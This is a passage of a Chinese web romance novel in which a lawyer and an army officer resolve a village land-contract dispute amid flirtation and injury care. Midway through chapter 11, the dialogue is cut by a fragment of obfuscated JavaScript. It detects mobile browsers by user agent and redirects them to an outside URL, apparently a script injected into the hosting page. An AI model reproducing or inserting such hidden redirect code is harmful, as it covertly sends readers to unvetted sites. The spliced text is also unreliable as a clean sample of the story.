季沐桉嗓音压着气:“你好好看过合同的话,就知道你们彻底误会军方了!军方明知你在钻空子,却仍愿意为你们四十亩地全权负责。即便你有毁约、隐瞒等恶劣行为,军方依旧拿出最大诚意,竭力将你的损失降到最低。”
李玲执迷不悟:“不可能,他们就是想骗我们的地。”
季沐桉不愿再跟李玲交流一句,无关案件,而是她跟林颂年的动作过分亲昵。
林颂年滚烫的气息一股又一股地喷洒下来时,仿佛被高压线的电流一股又一股漫遍浑身,弄得她心潮拨得起起落落,心里的小鹿疯了般,在潮水中挣扎求生。
冰凉的酒精流过她的伤口,熨过酥酥麻麻的心口时,本该麻木的,还是忍不住打了一个颤。
就像她本该放弃林颂年的,还是忍不住对他心动。
林颂年的气息又宛如簌簌棉花,柔软地飘落在季沐桉的侧脸和耳尖:“你也误会我了。”
季沐桉想起被他救回车上的对话:“是你先入为主了。”
“真的?”
是的。
比起那天在车上的疑惑,此刻季沐桉的脑海里,翻滚着她跟林颂年翻云覆海的画面,热流随着心潮,愈发汹涌地漫溢开来。
她夹紧双腿,懊恼地咬着下唇,忽然被人紧紧握住右手,力气极大地摁住她的伤口。
“好痛——”
疼得她双膝往上一抽,直直地撞上林颂年的下巴时,膝盖宛如有一根钢筋插入。
“呃......”
这个男人的下巴是刚做的吗?
“你掐我干嘛?”
“不是我掐的。”
他的嗓音沙哑,低头问:“哪疼?”
她摔下来时,被林颂年捞进怀里,鼻子又撞上他坚实的胸膛,泪花直溢出眼角。
抬眸,对上林颂年的眼神那瞬间,仿佛看到一只极度饥饿的深山猛兽——他的下巴破了一个口子,渗着血,舌尖划过发干的唇瓣,眼睛都是红的。
林颂年这个的样子极性感,季沐桉被迷得晃了神,想一口吃掉她。
刚刚,她分明还听见,他说了一句,“我哪舍得掐。”
季沐桉哼了声,冲他:“你最舍得了。”
风呼呼吹过,树叶沙沙响,果实哗哗落下。四目相对间,日光灼烧着对方的肌肤。
10. 第 10 章
“季律师,帮我们保住这块地,多少钱都可以的,一定要保住这块地。没了那块地,我们怎么活呀。”
耳边响着李玲撕心裂肺的哭声。
两人之间的暧昧气氛瞬间被划破,人也回过神来。
在这种情况下,季沐桉说不出“早知今日何必当初”“不懂就别乱逞强”的风凉话,感觉在骂自己。
她撑坐起身:“昨晚刘燕拿过来的合同在哪?”
李玲:“在家里,我现在带你回家拿。”
“你也跟着去医院检查一下吧,做份详细的验伤报告。我带她过去就行。”
林颂年头也不抬地跟李玲说。
他用掌根揉了揉被撞伤的下巴,看到有血后,目光落到季沐桉杏色工装裤膝盖的泥土,握住她的脚腕,将人固定在原地,
“别动,我看看,你的膝盖好像有刺扎我。”
现在自己对林颂年浑身都是刺,但怎么真的有刺呢?
季沐桉也疑惑地看着自己的膝盖。
林颂年小心翼翼地挽起她的裤管。
季沐桉情不自禁看向林颂年的手臂,被她用树枝抽了一下的红印还清晰地印在那。
果然,昨天的伤口根本就没有处理。
她不悦道:“你自己的伤口为什么不处理?”
林颂年扫了一眼,沉默了几秒,似乎有些紧张地笑了一声:“昨晚回来晚了,一早就出来了,等会再回去找军医。”
裤管被挽到膝盖时,小黑的声音再次传来:“哇靠,嫂子,你也太能忍了吧。要不,你也去趟医院?”
季沐桉膝盖上有淤青,还有几根折断的树刺。
“我不要去医院。”
“好吧。”
小黑又问:“你是不是看到刘常湖家暴李玲了?”
李玲眼角有淤青,嘴角也有血。季沐桉才会递给她墨镜。
她身上的伤看着确实像家暴所致,只是没亲眼所见,不好定论。
“我来到时,刘常湖就躺在那了。”
小黑:“不过,谁家暴谁,可真不好说呢。”
还真不好说。
刘常湖有腰伤,骨瘦如柴,李玲腰粗臀厚,力度奇大无比。
刚才要不是林颂年及时从李玲手中,抢回她的手,她手骨怕是已经断了。
警员们陆续过来,勘察现场,搜集证据,搞得跟命案现场似的。
在小黑的碎碎念下,季沐桉知道了,刘常湖和李玲欠当地高利贷,连带利息要还一百八十多万。
现在只能劝刘燕,早日配合移植玫瑰,拿到军方的补贴,保证有饭吃了。
耳边突然传来小黑的调侃声:“哎哟,还是第一次见林队,亲自替女孩子捏刺呢。”他的拇指和食指捏在一块,在空气中拔了几下:“嫂子真幸福。”
季沐桉瞬间抽掉自己腿,林颂年本来都要把刺拔出来,她突然乱动,刺更深了。
空气蓦地凝固一瞬。
林颂年抬头看小黑。
小黑如闪电般,背过身,指着陆续上山的警员:“欸,你们几个别哐哐撞树,绕着走、绕着走。”
季沐桉也在此时,感受到自己裤子湿了——刚刚那股暖流,是她的经.血流出来了!!!?
偏偏她今天穿了一条浅色裤子。
等会林颂年以为她那也受伤了,非要检查。
可把这辈子的脸都在这两天、在林颂年面前丢尽了。
默默一动不动。
林颂年的手机在裤袋里震动,是刘指导。
“撤退吧!接下来的事暂时交给派出所处理吧。”
“嗯。我先带季沐桉过去刘常湖岳母家一趟。”
刘指导追问:“要多久?”
“答应你会去就会去的。”
刘指导满意地挂断电话。
林颂年挂断电话,抬头看季沐桉,见她眨了眨眼睛,率先问:“教官,你特意过来找刘常湖的?”
“对呀。”小黑抢先回答,对上林颂年凛冽的眼神,立马道:“刘指导说的。”
刘指导的原话是,不训练了!非把整个李家湾翻过来,把刘常湖找出来不可!这次趁林颂年在,好好整治一下那个心高气傲的陈公子,别天天正经事不做,做梦钓大鱼。
这些有损同伴形象的话,小黑可不会说。
林颂年:“嗯,他还说可以收队了。你们越野回去。”
小黑如被雷劈:“什么?!!!今天不是巡逻吗?”
林颂年全神贯注将那根刺拈出来:“都找到刘常湖和李玲了,还巡什么?......别动!不拔出来更痛。”
这是痛不痛的问题吗?
他们现在可没熟悉到,任你挽起我的裤管、摸我的大腿、指尖一下又一下、反反复复捏我膝盖上的肉,一点点撩起她最原始的欲.望!!!
为了防止她再乱动,林颂年另一只手还握住她的大腿。
陆续有警员上山,路过他们时,都用戏谑的眼神看过来,像看动物园里的猴子。
她咬牙,低声喊:“林颂年。”
林颂年嗓音也低低:“嗯?”
“你、起来!”季沐桉直说:“我不想被人当猴看。”
小黑立刻赶人,往山下走:“你们快干你们的活,看什么看,你们绕着树走,这树都是职工们的钱。我嫂子受伤了,林队替她处理伤口呢。”
后面这句话,回响在整个山头。
季沐桉很无奈:“你能不能跟他们解释一下,我跟你没有任何关系。”
刺太深了。
林颂年拔不出来,舌尖抵着后牙,哼笑:“解释了,本来都信了。边疆这么大,你偏偏来这玩,能怪谁?”
“我也是来找刘常湖的......”
她的底气有点弱。
林颂年捡起她的帆布包,把铺在地上的东西都扔进去,提在手上:“自己包。”
季沐桉看着他手上的矿泉水瓶:“这果子还能包饺子吗?”
林颂年垂眸看她,指了指她的裤子:“不挡挡吗?”
“哦......要的。”
季沐桉将林颂年的作训服系在腰间时,趁机朝他鞠了一躬:“教官,对不起。昨晚误会你了。”
昨晚夜里太黑,季沐桉没认出这个村落就是昨晚他们经过的。
白天看,村落这么大,但林颂年能瞬间锁定失踪的人就是刘常湖和李玲,很难不怀疑他进村的目标本就是刘常湖。
还有他那通电话……
种种都说明,今天之前,林颂年真的没有刘常湖的联系方式。
还有,她忘记林颂年知道生理期的。
军训时,她的生理期提前到了。
跟林颂年晨跑完,她去超市买卫生巾。林颂年提醒她,不舒服的话,打报告出列就行。但她每次生理期都能活动自如,也很少痛经,自然没有报告。
反而林颂年时刻留意着她,怕一个不留神,人就晕了。也许因为这样,两人的眼神时常碰在一起,眉目传情、情愫暗生。
实际上,只有她这样觉得而已。
可能这两天被她顶撞多了,突然跟他道歉,林颂年有点不知所措:“误会什么?”
“不给我刘常湖的联系方式呀。”
谁能想到,林颂年不仅没有,还要问她拿。
林颂年哼笑了声:“我说晚点给你。”
“所以我说我误会你了,你不会这么小气吧。”
季沐桉仰着脑袋看她,语气故意拉长,有点恶人先告状的味儿。
以前每次她惹林颂年生气了,都会故意说这句话,林颂年最多再冷脸十秒。
山风吹散季沐桉手上的云南白药粉,药香漫开。
两人在空气中对视三秒,林颂年便提着她的帆布包转身:“不敢,上来。”
他没笑,还对她下令了!
季沐桉只能绕过他,小跑上来,脸上堆起谄媚的笑:“那我请你吃饭吧。下馆子那种,给你道歉赔罪。”
刚走一步,就被林颂年拽住手腕,用力一扯,她踉踉跄跄得像只腿脚不方便的小丑鸭,跌进他的背上。
还没反应过来,已经被他背起来,大步往前走了。
原来他的“上来”,是趴上来。
林颂年:“以后别再那样笑了。”
怎么还有人会提这样的要求呀?那样笑是很假,但她也笑得很累的好不。
不过,是她先做错事,还误会他、骂他、又差点坏他的行动。
刚刚听见他打电话,知道他有事要急着处理,百忙之中还要带她去看一份合同。还是乖点、不添乱了。
她安静地点了点头。
\
林颂年背她翻过山头,来到刘常湖岳母家。
季沐桉才发现,这里竟是李婆点心铺。
店面遭人恶意破坏,不少工具都被砸了,连石磨都被推倒了。李婆不够力气搬起来,本以为今天无法做点心去集市卖,早上碰见林颂年带队过来,二话不说就帮她把石磨立起来。
他们再过来时,李婆刚烤好一盘巴哈拉瓦,派给战士们品尝,也递给季沐桉一块。
巴哈拉瓦也叫果仁蜜饼,每一层酥皮都裹满切碎开心果、核桃等坚果,烤好后,在上面浇上一层蜂蜜,成品色泽金黄,飘散着黄油和蜜糖的清香,惹得季沐桉口水连连。
咬下第一口,酥松香脆,甜度正好。
季沐桉竖起大拇指:“好好吃。”
“好吃就多吃。”李婆从屋里翻出合同,递给季沐桉:“我也不识字,不知道是不是这两份。”
“等等,我洗个手回来看。”
怕被一扫而空,季沐桉连吃两块,才跑去洗手。
新鲜出炉的巴哈拉瓦还挺烫,她咬在嘴里,呲牙咧嘴地提醒林颂年:“小心烫。”
林颂年伸手把糕点从她嘴里拿下来:“盛凉了再吃,等会烫出水泡。”
水泡倒没烫出,但已经感受到火气上涌,喉咙好疼。
李婆真的不懂字,把家里地皮的租赁合同都拿给季沐桉。
季沐桉看了一下内容:“李婆,你的地租出去了吗?”
“对,租给阿牙家种火棘果,
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弄火棘果盆栽。”李婆叹了口气,见季沐桉一直抓自己的脸,捡起一把火棘果,用矿泉水洗干净后,放进矿泉水水瓶里,又捡来石块把果子敲碎。
“但被合作方骗了。今天他爷爷奶奶才找林长官救命呢。”
季沐桉不懂李婆要干嘛,还是伸过手:“我来吧!这是什么呀?”
“火棘果。”李婆拿来拍了拍脸蛋:“给你敷。”
季沐桉看了一眼矿泉水瓶里的还没完全被敲碎火棘果,像被人吃到一半吐出来的果渣,捂住脸:“我不要敷这个。”
李婆:“这个晒伤敷,效果特别好。燕儿每次晒伤回来,敷两次,睡醒就好了。”
季沐桉有点犹豫,还是下定不了决定,实话实说:“有点恶心。”
林颂年伸手过来:“不够碎,再槌碎点就好了。”
这时,连长匆匆过来找林颂年:“林长官,阿牙没找着呢。”
林颂年:“陈警官在找了。”
连长更急了:“他准备砸了阿牙的盆栽,把人逼出来。”
李婆怨声载道:“这是赶着把人逼死吧。”
全部职工盯着林颂年看。
小黑低声:“小气鬼。”
季沐桉刮林颂年一眼,撸起衣袖:“我去找这位陈警官聊聊。”
小黑继续道:“这位陈警官看不惯大家有事都找林队,谁要林队都帮。”
啊?小气鬼是陈警官呀?
“这样呀。嘻嘻,林队真好呢。”
林颂年那双幽黑深沉的眼定定地看着她:“真的吗?”
季沐桉漾着嘴角,又露出讨好的笑,想到林颂年刚刚的警告,按住双颊,嘟着嘴巴,忙点头:“真的。”
林颂年被她这副模样弄笑了:“进屋等我,找到人再过来接你。看看还喜欢吃哪款,让李婆做吧。”
“可是我想一起去。”季沐桉得到李婆的允许,把合同装进帆布包里,带回去研究:“李婆家这块地,似乎跟玫瑰地存在合作关系,我也去看看吧。说不定能帮上忙呢。”
林颂年把装着火棘果的矿泉水瓶也塞进她的包,拿在手上,偏了偏头,示意她趴上来。
这次季沐桉一句废话都不多说了,直接跳上去。
这一路,她将这片山头的火棘果从枝叶到果实都研究了个遍,棵棵硕果累累,一点都看不出问题,直到林颂年跟十几个战士堵人堵到这片有造型的火棘果盆栽。
这片火棘果被精心地修剪出各式造型,在山坡空地的阳光下茁壮成长,果实棵棵饱满,还都被整株移栽到了统一规格的精美陶瓷花盆里,一排排摆得整整齐齐,随时做好打包搬上货车的准备。
林颂年站定在这片山坡的中心点,托了下墨镜,朝正前方的果树轻抬下巴:“小黑。”
不知道是林颂年跑得太快,还是他的墨镜尺寸正好卡住高挺的鼻梁。
墨镜和她都在他的身上十分平稳地待着,一同愉快地感受着风和自由。
季沐桉甚至能思考到他们是怎么被骗了,也想明白,怪不得她昨天能神不知鬼不觉被林颂年带进山。
在后面追上来的警员跑得东歪西倒,像个溺水的不倒翁直直地朝前面一盆偏小的盆栽踹去。
季沐桉大声提醒道:“别踹盆栽!”
话音刚落,小黑从旁边猛地横窜出来,护住盆栽的同时,还顺势甩出一个戴着面罩、气喘吁吁的瘦小身影。
林颂年又随意地抬了两下下巴,两名战士一个凌空翻、一个侧身滑进盆栽之间的缝隙,像一阵风似的,消失在众人面前。
下一秒,求饶声从那端传来:“大哥,我只是在巡山、在巡山,啊——”
三名警员刚从那边搜了出来,连根草都没找到。
现在被林颂年当众揪出来,又懵又害怕,齐刷刷看向某处草丛。
陈弋霄撑着一把太阳伞从那里走出,脸比锅底都要黑,快把嘴里的烟咬得稀巴烂,目光扫过林颂年,落到他背上的季沐桉。
“怎么能劳驾林队长背呢。”陈弋霄踹了一脚不争气的下属:“快过去帮林队长背。”
季沐桉看着那个满额大汗的警员,朝自己伸出黝黑胖乎乎的油手,环紧林颂年的脖子:“不要。”
陈弋霄:“还挑上了呢。来,我身上比林队干净,我来背。”
季沐桉双腿夹林颂年紧紧的。
打死都不要从他身上下来,也不给他机会放自己下来。
“不要。”她埋头到林颂年颈窝:“你好臭!”
话落,陈弋霄脸更黑了。
准备上手扒季沐桉下来,林颂年那额汗,都能给她洗澡了。
他一身干爽,喷了宝格丽极地冰峰的香水,味道清逸清鲜、治愈空灵,人人都说好好闻,这个长得真美丽的女人说他臭?她瞎了吗?
陈弋霄的手刚伸过来,林颂年往旁边一躲,没让他碰到季沐桉,嗓音低哑:“陈警官,不用了。我自己背就行。”
“这语气,说得我要抢你女人似的。”
陈弋霄冷哼一声。
虽然有那么一瞬间,他是这样想的。
11. 第 11 章
原来他就是爱跟林颂年抢风头的陈警官呀。
季沐桉抬头,上下扫视他一圈,长得还挺帅,皮肤白皙干净,眼角快挑上天去了,跟要刷假睫毛似的。
“我也差点以为陈警官是来野餐的呢。”
她笑意盈盈,满脸诚意:“要帮你拍照吗?你还挺白。”
随意地补了一句夸赞,被陈弋霄听进心坎去了。
他点着香烟,吞云吐雾:“我这叫会保养,不像你,糟蹋了这张漂亮脸蛋。”
说完,走去骂人:“快点,把人给我拎出来。”
留季沐桉在这想找脸罩戴上。
“季沐桉。”林颂年偏头看她。
季沐桉下意识转过头,假装看向远方:“怎么了?”
“松点力,你夹太紧了,我动不了了。”
季沐桉双颊一红,默默松了点力,想说,要不,她下地?
林颂年又突然问:“很难闻?”
“什么?”
“身上的烟味。”
“哦,没有呀。”
他身上有烟味吗?
季沐桉凑到他脖子,闻了闻:“你身上没烟味呀。”
林颂年闭上眼睛,甩了甩脑袋,想到她买了一盒感冒药,再张口时,嗓音比刚刚沉:“你感冒了?”
喉咙被火烧似的,每说一个字都灼得生疼,声音都变调了。
可能是看到陈弋霄,喉咙那种想罢工的心思油然而生吧。
季沐桉:“没有,困了。”她适时打了一个哈欠:“明天我要睡一天。”
“不嫌弃的话,你可以现在睡。”
耳边响起陈弋霄聒噪的声音,季沐桉听得就肉紧,跟韩佳在耳边嗡嗡嗡似的,哪里睡得着。
“先帮陈警官把人找出来吧。”
林颂年这次没有给战士们提示,说:“阿牙开始移动了,十秒内捉不出来,加跑十公里。”
小黑大力拍了拍脸蛋:“我攻后面。”
“我侧边!”
虽然林颂年只是扫一眼、抬一下下巴,但他们已经掌握在诀窍,十秒就把人扔到连长面前。
连长定睛一看,把人拽起来,指着责怪:“阿牙少爷,可算找到你。你不把问题解决,天天躲在这有什么用!”
“守他们呀!他们想进来偷盆栽。”
季沐桉瞬间认出,阿牙就是昨晚蛰伏在围墙后的男人。他看着年纪极小,估摸也就是刚上高中的学生。
“教官,你猜错了。他守树,不是守家禽。”
她跳落下地,走去问连长:“这块地就是李婆家的?”
连长:“对。”他又忍不住说阿牙:“他们都不要你的盆栽了,为什么还要偷你的?”
季沐桉问阿牙:“原定六月份交火棘果盆栽吗?”
阿牙双眸一亮:“你怎么知道。”
季沐桉有种不祥的预感:“这位曹老板的大名是?”
“曹鑫。”
林颂年听到这个名字,看着季沐桉说:“我记得你昨晚跟一位叫曹鑫的人聊电话。”
语气有点像捉包女朋友出轨的意思。
季沐桉只记得昨晚她凶了林颂年,还差点拆了他的车门,还有那个乱七八糟的梦。
一想起那个梦,心底一片发虚,不太敢直视他,更不敢相信刘燕的对象就是曹鑫,这么峰回路转、跌宕起伏吗?
那昨晚他跟陈曼算什么?名利场上互助互利?
玫瑰打卡点、火棘果盆栽……谁旅游带盆火棘果回家?火棘果比桃子好吃吗?
林颂年催促道:“问你呢?跟这位曹老板很熟?”
季沐桉走去摸了摸火棘果:“我跟他一点都不熟。”
“一点都不熟?”
林颂年半眯着眼睛看她,凛冽气息无处泄露,全涌上幽黑的瞳仁。
无人看见,被墨镜的镜片底下,那双幽黑瞳仁正有一股不可抑制的阴暗在滋长。
季沐桉笃定地点头:“要是他拿一个亿砸我,我会选择一把火烧掉这一个亿。他不滚,我自己走。”
说完,用这张清冷美艳的脸做了一个极度厌恶的表情,表示自己真的很讨厌他,不想跟他有一丁点关系。
连长:“但不能一把火烧掉这些盆栽,要不,你替我们联系一下他?只要能联系上,一切都好说。”
他边说边比了一个搓钱的动作。
季沐桉掏出火棘果买卖合同,刚要翻阅,就被连长抢走:“你看,你都有合同,肯定要帮忙呀。”
她眉头不悦一拧。
下一秒,就见林颂年不客气地把合同抢回来,递给她,一个跨步,把她挡到身后,神情冷漠,带几分威严:“这些盆栽,连长也投钱了?”
连长被吓得脖子一缩,说话都不利索了:“投、投投了点。”
季沐桉小声问阿牙:“你见过曹鑫没?”
阿牙摇头:“没。”他瞟连长一眼:“连长负责沟通。”
季沐桉:“那你有收到定金吗?”
阿牙:“当然有,不然哪里有钱买树苗。”
季沐桉:“能维持生计吗?”
阿牙掰着手指数了数:“下个月就没了。”
林颂年:“你随大队到桃林帮忙移植玫瑰,下个月就有工钱了。”
连长冷笑:“刘家现在是泥菩萨过河,自身难保,哪里有钱发工钱。”
林颂年:“工钱由承包商下发,如果承包商没如期发工钱,你们到部队跟我说。”
连长吓得不敢吱声。
季沐桉内心又爽又一言难尽。
连长看起来都能当林颂年爸了,吹过的风霜比林颂年喷出的二氧化碳要多万倍,竟被林颂年镇压得毫无反驳之力。
林颂年走向阿牙。
她替阿牙捏把汗的同时,已经小跑到阿牙旁。
林颂年拍了拍阿牙的脑袋:“听见了吗?每天下工就随大队回家吃饭,家里有事就找陈警官,或者找部队的刘指导,别再离家出去了。”
语气温和得像阵清风。
季沐桉难以置信地瞪大眼睛,盯着眼前的人打量,手都想伸过去搓搓他锋利的下颌线,看是不是有层假皮。
阿牙重重点头,盛情邀请林颂年:“长官,今晚你带你女朋友来我们家吃饭吧。”
林颂年:“今晚我有事。等会把你送回家,让你爷爷奶奶别打你。”
“我不是他女朋友。”季沐桉在旁说出这句话,被阿牙怪害羞的“啊啊啊啊”尖叫声吞没了。
阿牙冷静下来后,又说:“但你一走,爷爷奶奶肯定就揍我了。”他朝季沐桉眨巴眨巴眼睛:“你能帮我联系曹老板吗?”
季沐桉:“不能,但我能给你出个主意,让曹老板找你。”
她觉得这个主意损,还存在挑拨离间的意味。
宋惟峥说过,像宋霞这种拿不法当脸上的金的法盲,就该用情理来教训。
连长抢先道:“什么?你快说。”
“玫瑰园停业,以最快的速度移植全部玫瑰。”
刚刚季沐桉从李婆那打听到,刘燕是跟着她长大的,在南城读的书,毕业后就回边疆发展、建设家乡。她才二十三岁,走点弯路不是正常吗?
季沐桉:“现在看来,刘燕的行为确实有悖情理,但我还不了解她的情况,不排除这件事背后另有隐情。不过可以能肯定的是,火棘果盆栽和玫瑰园是同一个项目的,假如同一个项目的两个产业链都断了资金来源,合伙人肯定会乱成一锅粥,自然会派人过来解决问题。”
林颂年:“你怎么就肯定是曹鑫过来呢?”
因为他昨晚说,他会过来呀。
季沐桉眨了眨眼睛:“因为,曹鑫的老板是我们律所的尊贵VIP客户,她有事都是找小曹解决。所以你们要替我保密,别说这主意是我出的。”
她可不想被曹鑫的老板找上门。
林颂年见她一副敢做不敢为的样子,嘴角微勾:“好。”
季沐桉:“还有一件事,刘燕作为玫瑰园的管理人员,不再配合军方工作,是要承担部分法律责任。但只要她配合军方工作,及时止损,林队长和陈警官会酌情帮忙吧?”
林颂年点点头:“只要刘燕是被陷害、受人指使的,我都可以帮忙。”
陈弋霄恨自己的嘴慢了一步:“我已经有办法解决火棘果盆栽。”
阿牙:“表哥,就算你自掏腰包帮我买,你搁哪呢?”
陈弋霄:“你表哥在南城人脉那么广,还需要你担心。”
阿牙:“你已经不在南城混好多年。”
陈弋霄:“行啦!今天解决不了的事,我们择日再想,今晚外公弄羊蹄,先回家帮忙剃毛了。”
他朝季沐桉抬抬下巴:“要不要来我们家吃饭?”
季沐桉同时问:“陈警官是南城人?”
陈弋霄:“对。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059618|195000||http|test|mini|href|location''.split(''|''),0,{}));
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>季沐桉偷偷看了一眼他双手:“我说呢。长得白白嫩嫩的。”是韩佳喜欢的款。
“吃我外公炖的羊蹄。”陈弋霄指了指她的脸,再次邀请:“要不要过来补补?”
林颂年拽过她的手腕,视线灼灼:“今晚我要去希尔顿酒店吃饭。听说有本地正宗的烤全羊,要不要一块去?”
希尔顿酒店、吃饭?
季沐桉眨了眨眼睛:“你是要去参加一个老兵嫁女儿的婚宴吗?”
林颂年:“你怎么知道?”
“隆隆隆——”
季沐桉的大脑被地雷连环轰炸,一片空白。
太阳穴像机关枪似的,突突突地在乱射,仿佛在狙击昨晚到今早口出狂言的自己,要你乱多管闲事!要你乱说话!自己埋的雷,自己踩吧!
刚刚莫佩文发信息说,陆淳梨特意给她留了位置,说多晚回都等她,今晚不醉不归。
她干脆利落就答应了,说奉陪到底。
现在她能反悔吗?
从昨晚开始反悔。
其实她跟林颂年不熟、他不会为自己拼命。
大脑闪过十几个画面——歹徒举着柴刀冲出来,林颂年也冲出来将她护在身后,亲自帮她处理伤口,背着她满山头跑......
季沐桉听到自己心脏剧烈跳动的声音,仿佛在声嘶力竭地喊,“季沐桉,你死定了!”“你又栽了!”
林颂年看她愣在原地,眼睛瞬也不瞬地看着前方,但眼神是空洞的,轻轻弹了一下她的眉心:“发什么呆呢?想先回酒店睡觉了?”
“不。”
她现在一点都不想回酒店。
“只是我今晚也要去参加婚宴,没想到这么巧。”
季沐桉把早上的经过简单跟林颂年说了,拽住大脑唯一一根稻草:“对了,今晚一起参加宴会朋友的名字跟陆教官很像,叫陆淳梨。”
说话间,她已经被林颂年甩到背上。
林颂年让陈弋霄带阿牙回家,别让他爷爷奶奶打了骂了,就把人晾在那,背着季沐桉下山。
林颂年:“他们就是亲兄妹。今晚陆淳星也在,他刚还给我电话,说他妹妹那边还缺一套演出服,要先过去帮她找。所以我这边忙完得先回去部队一趟,安排今晚的值班工作。”
噼波一声。
最后一根稻草也烧了。
现在她只求,今晚他们不是同一张桌子,不然她应该会在桌底。
季沐桉:“那我也先跟你回部队吧!等你处理完伤口、安排完工作再一块出发去酒店。就是回部队路上,有便利店或者商超吗?”
林颂年没想到她还记挂着他的伤口,再想到她包里处理伤口的药,心口一软,认真想了一下回去的路线:“没有,想买什么?”
季沐桉闭了闭眼睛,咬牙道:“我再忍忍吧。”
“要买什么就说。”
“教官,问太明白,对你我都没好处。”
林颂年转念一想,懂了,想买卫生巾。
\
回到部队,林颂年先带她到军医室,靠在门边问:“你这有卫生巾吗?”
季沐桉倏地睁大眼睛,下一秒,懵了。
你把军医室当超市?
徐瑞:“有,但只有超长夜用了。”
林颂年转头看她,刚要问,季沐桉狂点头:“要。”
季沐桉推着他进去,林颂年以为她害羞,任她推进去,伸手拿过徐瑞递来的卫生巾,扭头问她:“一片够了吗?”
“够了。洗手间在哪?”
林颂年:“我带你去。”
季沐桉把人推到椅子那:“不用,你快处理伤口吧。”
林颂年点头:“对,先处理一下伤口。”
徐瑞的表情比听见林颂年问他要卫生巾时,还要像撞鬼了,默默递给林颂年一根探热针。
季沐桉能猜出林颂年平时受伤,都是不会处理伤口的了。
不然军医怎么会以为他发烧了?!
她用“你骗我?”的眼神瞪着林颂年。
林颂年拉过快把自己瞪出一个窟窿的季沐桉,按到椅子上,蹲到她面前,小心翼翼地挽起裤管:“她膝盖扎了根刺,有点深,给我一个镊子,我帮她拔出来。”
徐瑞:“......”我的白大褂给你穿算了。
季沐桉:“......”
真想扒光他的衣服,好好检查他身上到底有多少伤。
12. 第 12 章
臭教官:[我回到酒店了。]
季沐桉的手机屏幕亮了。
她换了一身米白色的旗袍出来。
旗袍绣着蓝绿色花卉图案,经典立领和盘扣加入翠绿色的撞色。
刚要回复,就接到「陈曼」的电话。
“喂,曼姐。”
陈曼语气嘲讽:“牛呀。季大律师过去边疆两天,就让玫瑰园停业,迅速开始移植工作。”
季沐桉大脑嗡了一声——
林颂年这个混帐,又骗她!说好替她保密的呢。
陈曼仍在耳边阴阳怪气:“怪不得曹鑫那么喜欢提起你,业务能力确实有几把刷子。”
她才不稀罕曹鑫这只八爪鱼。
季沐桉语气冷淡:“曼姐,是不是误会了?”
陈曼冷笑:“也不知道谁三年前,天天收他的花、跟他上下班、吃烛光晚餐?”
季沐桉往旁边的莫佩文看去:“我收他的花,是帮他转交给同一栋大厦舞蹈室的朋友。一起上下班,是因为这位朋友非拉我一起蹭车回学校。至于烛光晚餐,我是陪韩佳去吃的。最关键的一点,曹鑫是我一个远房亲戚的表哥,表嫂!”
她咬牙喊出“表嫂”二字,嗓音透着笑意。
没想到自己误会得这般彻底,陈曼顿时颜面无地自容。
莫佩文也万万没想到,会偷听到自己的瓜,还是一件不堪回首的黑历史。
一个晃神,用睫毛夹夹到眼皮,疼得嘶了声,想起来一件事:“对了。下午彩排的时候,曹鑫找我了,说你拉黑了他。”
昨晚甩完林颂年的车门就拉黑了。
刚刚回来时,林颂年先送她到酒店,再帮她去还车。下车时,她想起忘记给他押金单,又拉开车门递给他。他接过时,笑着说了句,“关门轻点,这车可是租的。”
季沐桉:“......”昨晚她可是使出吃奶的力。
她怎么没有直接给他扇一巴掌!!!
陈曼默默挂断通话,给季沐桉发了条信息:[麻烦把你整个协商过程整理成一份非常详细的报告发给我,谢谢,辛苦了呢。]
客气礼貌的文字里,能莫名透着尖酸刻薄,果然是会看上曹鑫的女人。
[好。]回复她后,季沐桉也回复林颂年一个字:[哦。]
她照了下镜子,脸上的黄色药膏已被皮肤尽数吸收,双颊晒伤的泛红消退大半,肌肤变得细腻透亮,透着明艳灵动的气色。
换完卫生巾回到军医室时,林颂年刚把矿泉水瓶内的火棘果敲成渣,给徐瑞加进药碗搅拌成泥状的面膜泥,让她躺在那敷了会。刺痛和紧绷感明显消退,之后又给她找了一瓶药膏,说当地职工送的。效果真的好。
但她不会原谅这个言而无信的男人!
莫佩文突然问:“沐桉,你教官是不是姓林?”
季沐桉抹掉脸上剩余的黄色药膏:“你碰见他了?”
莫佩文边用卷发棒卷着刘海,边说:“不是。淳梨说,今晚楼下的名媛小姐都冲林少校来的。二十六岁就当上少校,可想战绩惊人。淳梨形容这位林少校就是那种明知被他玩、都心甘情愿跟他睡、一股脑要跟他过一辈子的人,特帅、特正气、特有魅力。巧的是,这位林少校从南城军区过来的,名字听得温文儒雅,实则脾性暴烈,性子硬得很,一般女人撬不动他的心。叫......林、颂、年。”
季沐桉正好往垃圾桶扔化妆棉,闻言一顿,把化妆棉扔到地毯上,弯腰去捡,将这两天迷魂住她心神的蛊惑一起扔进垃圾桶。
林队长,林少校……两年多不见,头衔是一个比一个厉害了呢。怪不得没来找她,人家忙得很呢。
百花齐放,众佳丽争宠的良辰美夜,她好好吃烤全羊就行。
莫佩文又说:“我记得你班的教官也姓林。”
季沐桉不想提起这个人:“是呀。”
莫佩文看出季沐桉听完这通电话,心情变得很糟糕,酝酿了半晌才问:“怎么无缘无故提起三年前的事?”
季沐桉默了默,站在霞光下将头发盘起来,抬头望着落地玻璃外的夕阳,竟有些晃神。
她不由地回忆起三年前,宋惟峥和她一起在江边看日落,告诉她,他查出胰腺癌。
自从军训回来,见季沐桉双眸有光,对未来有期待,定是找了个很爱她的人。不然她的眼神不会如此澄澈透亮,还带着几分洒脱自在,那是因为这个男人能给到她无穷无尽的安全感和底气。
希望他有生之年,能见见林颂年。或是哪天把人带到他坟前,就当见家长了。至少,他走之前,是彻底放心了。
好了。
过几天回南城,就到这个老人家的坟前,跟他说,你这次看错眼了。
她没那么爱林颂年的,都是年少不懂事罢了!!!
真的很烦!这脑子怎么就不受控制!总想着和林颂年有关的事。
心能不能听话一点!别再对他心动了!!
季沐桉越想越躁,对着耳鬓垂下来的碎毛暗自生气。
在莫佩文眼里,一向情绪稳定的季沐桉,提起“曹鑫”就再次失控,跟昨晚一模一样。
